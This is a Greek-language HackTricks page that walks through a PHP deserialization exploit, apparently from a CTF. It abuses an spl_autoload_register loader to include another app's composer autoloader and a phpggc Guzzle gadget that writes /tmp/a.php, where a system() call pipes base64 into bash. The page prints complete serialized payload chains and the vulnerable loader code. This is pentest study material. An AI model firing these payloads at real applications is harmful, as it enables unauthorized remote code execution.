PHP - Deserialization + Autoload Classes

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Πρώτα, θα πρέπει να ελέγξετε τι είναι Autoloading Classes.

PHP deserialization + spl_autoload_register + LFI/Gadget

Βρισκόμαστε σε μια κατάσταση όπου βρήκαμε μια PHP deserialization σε μια webapp χωρίς καμία βιβλιοθήκη ευάλωτη σε gadgets μέσα σε phpggc. Ωστόσο, στο ίδιο κοντέινερ υπήρχε μια διαφορετική webapp composer με ευάλωτες βιβλιοθήκες. Επομένως, ο στόχος ήταν να φορτώσουμε τον φορτωτή composer της άλλης webapp και να τον εκμεταλλευτούμε για να φορτώσουμε ένα gadget που θα εκμεταλλευτεί αυτή τη βιβλιοθήκη με ένα gadget από την webapp που είναι ευάλωτη σε deserialization.

Βήματα:

  • Έχετε βρει μια deserialization και δεν υπάρχει κανένα gadget στον τρέχοντα κώδικα της εφαρμογής

  • Μπορείτε να εκμεταλλευτείτε μια spl_autoload_register συνάρτηση όπως η παρακάτω για να φορτώσετε οποιοδήποτε τοπικό αρχείο με κατάληξη .php

  • Για αυτό χρησιμοποιείτε μια deserialization όπου το όνομα της κλάσης θα είναι μέσα στο $name. Δεν μπορείτε να χρησιμοποιήσετε "/" ή "." σε ένα όνομα κλάσης σε ένα serialized αντικείμενο, αλλά ο κώδικας αντικαθιστά τους υπογραμμούς ("_") με κάθετους ("/"). Έτσι, ένα όνομα κλάσης όπως tmp_passwd θα μετατραπεί σε /tmp/passwd.php και ο κώδικας θα προσπαθήσει να το φορτώσει. Ένα παράδειγμα gadget θα είναι: O:10:"tmp_passwd":0:{}

spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

Αν έχετε ανέβασμα αρχείου και μπορείτε να ανεβάσετε ένα αρχείο με κατάληξη .php, μπορείτε να καταχραστείτε αυτή τη λειτουργία άμεσα και να αποκτήσετε ήδη RCE.

Στην περίπτωσή μου, δεν είχα τίποτα τέτοιο, αλλά υπήρχε μέσα στο ίδιο κοντέινερ μια άλλη σελίδα web composer με μια βιβλιοθήκη ευάλωτη σε gadget phpggc.

  • Για να φορτώσετε αυτή τη άλλη βιβλιοθήκη, πρώτα πρέπει να φορτώσετε τον φορτωτή composer της άλλης web εφαρμογής (γιατί ο φορτωτής της τρέχουσας εφαρμογής δεν θα έχει πρόσβαση στις βιβλιοθήκες της άλλης). Γνωρίζοντας τη διαδρομή της εφαρμογής, μπορείτε να το πετύχετε αυτό πολύ εύκολα με: O:28:"www_frontend_vendor_autoload":0:{} (Στην περίπτωσή μου, ο φορτωτής composer ήταν στο /www/frontend/vendor/autoload.php)

  • Τώρα, μπορείτε να φορτώσετε τον φορτωτή composer της άλλης εφαρμογής, οπότε ήρθε η ώρα να δημιουργήσετε το phpgcc payload για χρήση. Στην περίπτωσή μου, χρησιμοποίησα Guzzle/FW1, το οποίο μου επέτρεψε να γράψω οποιοδήποτε αρχείο μέσα στο σύστημα αρχείων.

  • ΣΗΜΕΙΩΣΗ: Το παραγόμενο gadget δεν λειτουργούσε, για να λειτουργήσει έπρεπε να τροποποιήσω αυτό το payload chain.php του phpggc και να ορίσω όλα τα χαρακτηριστικά των κλάσεων από ιδιωτικά σε δημόσια. Αν όχι, μετά την αποσειριοποίηση της συμβολοσειράς, τα χαρακτηριστικά των δημιουργημένων αντικειμένων δεν είχαν καμία τιμή.

  • Τώρα έχουμε τον τρόπο να φορτώσουμε τον φορτωτή composer της άλλης εφαρμογής και να έχουμε ένα phpggc payload που λειτουργεί, αλλά πρέπει να κάνουμε αυτό στην ΙΔΙΑ ΑΙΤΗΣΗ ώστε ο φορτωτής να φορτωθεί όταν χρησιμοποιηθεί το gadget. Για αυτό, έστειλα έναν σειριοποιημένο πίνακα με και τα δύο αντικείμενα όπως:

  • Μπορείτε να δείτε πρώτα τον φορτωτή να φορτώνεται και μετά το payload

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
  • Τώρα, μπορούμε να δημιουργήσουμε και να γράψουμε ένα αρχείο, ωστόσο, ο χρήστης δεν μπορούσε να γράψει σε κανέναν φάκελο μέσα στον web server. Έτσι, όπως μπορείτε να δείτε στο payload, το PHP καλεί system με κάποιο base64 που δημιουργείται στο /tmp/a.php. Στη συνέχεια, μπορούμε να ξαναχρησιμοποιήσουμε τον πρώτο τύπο payload που χρησιμοποιήσαμε ως LFI για να φορτώσουμε τον composer loader της άλλης webapp για να φορτώσουμε το παραγόμενο αρχείο /tmp/a.php. Απλά προσθέστε το στο gadget αποσυμπίεσης:

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

Περίληψη του payload

  • Φόρτωση του composer autoload μιας διαφορετικής webapp στο ίδιο container

  • Φόρτωση ενός phpggc gadget για να εκμεταλλευτεί μια βιβλιοθήκη από την άλλη webapp (η αρχική webapp που ήταν ευάλωτη σε deserialization δεν είχε κανένα gadget στις βιβλιοθήκες της)

  • Το gadget θα δημιουργήσει ένα αρχείο με ένα PHP payload σε /tmp/a.php με κακόβουλες εντολές (ο χρήστης της webapp δεν μπορεί να γράψει σε κανένα φάκελο καμίας webapp)

  • Το τελικό μέρος του payload μας θα χρησιμοποιήσει να φορτώσει το παραγόμενο php αρχείο που θα εκτελέσει εντολές

Χρειαζόμουν να καλέσω αυτή τη deserialization δύο φορές. Στις δοκιμές μου, την πρώτη φορά το αρχείο /tmp/a.php δημιουργήθηκε αλλά δεν φορτώθηκε, και τη δεύτερη φορά φορτώθηκε σωστά.

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated